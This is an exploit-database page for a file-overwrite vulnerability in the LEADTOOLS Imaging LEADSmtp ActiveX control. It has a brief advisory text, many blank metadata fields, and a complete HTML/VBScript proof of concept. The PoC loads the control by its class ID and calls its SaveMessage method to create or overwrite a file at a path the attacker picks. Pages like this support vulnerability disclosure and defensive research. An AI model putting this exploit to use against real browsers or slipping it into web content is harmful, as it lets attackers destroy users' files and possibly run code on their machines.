LEADTOOLS Imaging LEADSmtp ActiveX control insecure method vulnerability

vendor:

LEADTOOLS Imaging LEADSmtp ActiveX control

by:

N/A

CVSS

N/A

Insecure Method

CWE

Product Name: LEADTOOLS Imaging LEADSmtp ActiveX control

Affected Version From:

Affected Version To:

Patch Exists:

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

LEADTOOLS Imaging LEADSmtp ActiveX control insecure method vulnerability

The LEADTOOLS Imaging LEADSmtp ActiveX control is prone to a vulnerability caused by an insecure method. Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges.

Mitigation:

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/48408/info

LEADTOOLS Imaging LEADSmtp ActiveX control is prone to a vulnerability caused by an insecure method.

Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges. 

<html>
<object classid='clsid:0014085F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_overwrite"
arg2=True
target.SaveMessage arg1 ,arg2
End Sub

</script>
</html>